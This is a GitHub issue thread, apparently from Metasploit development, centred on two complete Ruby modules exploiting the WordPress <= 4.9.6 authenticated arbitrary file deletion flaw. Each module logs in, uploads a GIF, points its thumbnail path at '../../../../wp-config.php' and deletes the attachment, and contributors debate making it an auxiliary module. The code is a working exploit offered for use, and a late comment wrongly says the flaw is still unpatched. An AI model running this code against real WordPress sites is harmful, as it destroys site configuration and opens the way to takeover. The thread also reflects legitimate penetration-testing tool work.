I have been working for fun on a module for the Arbitrary File Deletion vulnerability in Wordpress <= 4.9.6, this is what I have so far:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'Wordpress Arbitrary File Deletion',
'Description' => %q{
An arbitrary file deletion vulnerability in the WordPress core allows any user with privileges of an
Author to completely take over the WordPress site and to execute arbitrary code on the server.
},
'Author' =>
[
'Slavco Mihajloski', # Vulnerability discovery
'Karim El Ouerghemmi', # Vulnerability discovery
'Alo茂s Th茅venot' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '9100'],
['EDB', '44949'],
['PACKETSTORM', '148333'],
['URL', 'https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/'],
['URL', 'https://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['WordPress <= 4.9.6', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 26 2018'))
register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
])
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def check
vprint_status('Checking if target is online and running Wordpress...')
if wordpress_and_online?.nil?
vprint_error('The target is not online and running Wordpress')
CheckCode::Safe
end
vprint_status('Checking credentials...')
cookie = wordpress_login(username, password)
if cookie.nil?
vprint_error('Invalid credentials')
CheckCode::Unknown
end
store_valid_credential(user: username, private: password, proof: cookie)
vprint_status('Checking access...')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_backend, 'upload.php'),
'cookie' => cookie,
)
if res
if res.code == 403
vprint_error('The account does not have permission to manage media')
CheckCode::Safe
elsif res.code == 200
CheckCode::Appears
else
vprint_error("Unexpected reply - #{res.code}")
CheckCode::Unknown
end
end
end
def get_nonce(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_backend, 'upload.php'),
'cookie' => cookie,
)
unless res and res.code == 200
fail_with(Failure::Unknown, "Could not get the nonce")
end
res.body.scan(/_wpnonce":"([a-z0-9]+)"/)[0][0].to_s
end
def exploit
if wordpress_and_online?.nil?
fail_with(Failure::BadConfig, 'The target is not online and running Wordpress')
end
cookie = wordpress_login(username, password)
if cookie.nil?
fail_with(Failure::BadConfig, 'Invalid credentials')
end
store_valid_credential(user: username, private: password, proof: cookie)
nonce = get_nonce(cookie)
data = Rex::MIME::Message.new
data.add_part(Rex::Text.decode_base64('R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs='), "image/gif", nil, "form-data; name=\"async-upload\"; filename=\"a.gif\"")
data.add_part("upload-attachment", nil, nil, "form-data; name=\"action\"")
data.add_part(nonce, nil, nil, "form-data; name=\"_wpnonce\"")
post_data = data.to_s
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend, 'async-upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
)
unless res and res.code == 200
fail_with(Failure::Unknown, "Could not upload the media")
end
json = JSON::parse(res.body)
id = json['data']['id']
update_nonce = json['data']['nonces']['update']
delete_nonce = json['data']['nonces']['delete']
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend, "post.php?post=#{id}"),
'cookie' => cookie,
'vars_post' =>
{
'action' => 'editattachment',
'_wpnonce' => update_nonce,
'thumb' => '../../../../wp-config.php'
}
)
unless res and res.code == 302
fail_with(Failure::Unknown, "Could not edit media")
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),
'cookie' => cookie,
'vars_post' =>
{
'action' => 'delete-post',
'_wpnonce' => delete_nonce,
'id' => id
}
)
unless res and res.code == 200
fail_with(Failure::Unknown, "Could not delete media")
end
end
end
Initially I thought I would add an option to specify the file to delete and not do anything else but then since it's a Remote Exploit maybe it make more sense to actually try to get a shell.
My understanding is that to get a shell you would need to setup the Wordpress install with a remote database to fully get control over the website and then use something like exploit/unix/webapp/wp_admin_shell_upload to get a shell. I don't think it make much sense to add the code to setup the website with a new database and getting the shell would mean duplicating some code.
Should this just be an auxiliary module ? Is this worth making a pull request ?
I'd leave it as an aux module, clean it up a bit, and PR it!
I converted this to an aux module and cleaned it up a bit. But then I got bored.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress Arbitrary File Deletion',
'Description' => %q{
An arbitrary file deletion vulnerability in the WordPress core allows any user with privileges of an
Author to completely take over the WordPress site and to execute arbitrary code on the server.
},
'Author' =>
[
'Slavco Mihajloski', # Vulnerability discovery
'Karim El Ouerghemmi', # Vulnerability discovery
'Alo茂s Th茅venot' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '9100'],
['EDB', '44949'],
['PACKETSTORM', '148333'],
['URL', 'https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/'],
['URL', 'https://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility-Exploit/']
]))
register_options [
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
]
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def check
vprint_status('Checking if target is online and running Wordpress...')
unless wordpress_and_online?
vprint_error('The target is not online and running Wordpress')
CheckCode::Safe
end
vprint_status 'Checking credentials...'
cookie = wordpress_login(username, password)
if cookie.nil?
vprint_error('Invalid credentials')
CheckCode::Unknown
end
store_valid_credential(user: username, private: password, proof: cookie)
vprint_status 'Checking access...'
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_backend, 'upload.php'),
'cookie' => cookie
)
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
if res.code == 200
vprint_status 'The user has permission to manage media'
return CheckCode::Appears
end
if res.code == 403
vprint_error 'The user does not have permission to manage media'
return CheckCode::Safe
end
vprint_error("Unexpected reply - #{res.code}")
CheckCode::Detected
end
def get_nonce(cookie)
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_backend, 'upload.php'),
'cookie' => cookie
)
unless res && res.code == 200
fail_with(Failure::Unknown, "Could not get the nonce")
end
# TODO: can [0][0] be replaced with `.flatten.first`
res.body.scan(/_wpnonce":"([a-z0-9]+)"/)[0][0].to_s
end
def run
unless wordpress_and_online?
fail_with(Failure::BadConfig, 'The target is not online and running Wordpress')
end
cookie = wordpress_login(username, password)
if cookie.nil?
fail_with(Failure::BadConfig, 'Invalid credentials')
end
store_valid_credential(user: username, private: password, proof: cookie)
nonce = get_nonce(cookie)
# TODO randomise filename
data = Rex::MIME::Message.new
data.add_part(Rex::Text.decode_base64('R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs='), "image/gif", nil, "form-data; name=\"async-upload\"; filename=\"a.gif\"")
data.add_part("upload-attachment", nil, nil, "form-data; name=\"action\"")
data.add_part(nonce, nil, nil, "form-data; name=\"_wpnonce\"")
post_data = data.to_s
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend, 'async-upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie
)
unless res and res.code == 200
fail_with(Failure::Unknown, "Could not upload the media")
end
json = JSON::parse(res.body)
id = json['data']['id']
update_nonce = json['data']['nonces']['update']
delete_nonce = json['data']['nonces']['delete']
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend, 'post.php'),
'vars_get' => "post=#{id}".
'cookie' => cookie,
'vars_post' =>
{
'action' => 'editattachment',
'_wpnonce' => update_nonce,
'thumb' => '../../../../wp-config.php' # TODO: make this configurable
}
)
unless res && res.code == 302
fail_with(Failure::Unknown, "Could not edit media")
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'),
'cookie' => cookie,
'vars_post' =>
{
'action' => 'delete-post',
'_wpnonce' => delete_nonce,
'id' => id
}
)
unless res && res.code == 200
fail_with(Failure::Unknown, "Could not delete media")
end
end
end
Sorry @bcoles there is already an open pull request but I forgot to link it #10247. I'll look at your suggestions and will make the necessary changes. Thanks
@Techbrunch all good. I wasn't interested in writing the module. I was hoping to motivate you to come back and do a PR :)
The pull request was merged before I got the chance to make some of the suggestions from @bcoles becoles but I think that's ok. I'm closing the issue.
i came to know about this exploit while reading here i think arbitrary file deletion vulnerability in the WordPress remains unpatched in the WordPress core as of now. but team at RIPS have developed a good temporary fix though.
Most helpful comment
Sorry @bcoles there is already an open pull request but I forgot to link it #10247. I'll look at your suggestions and will make the necessary changes. Thanks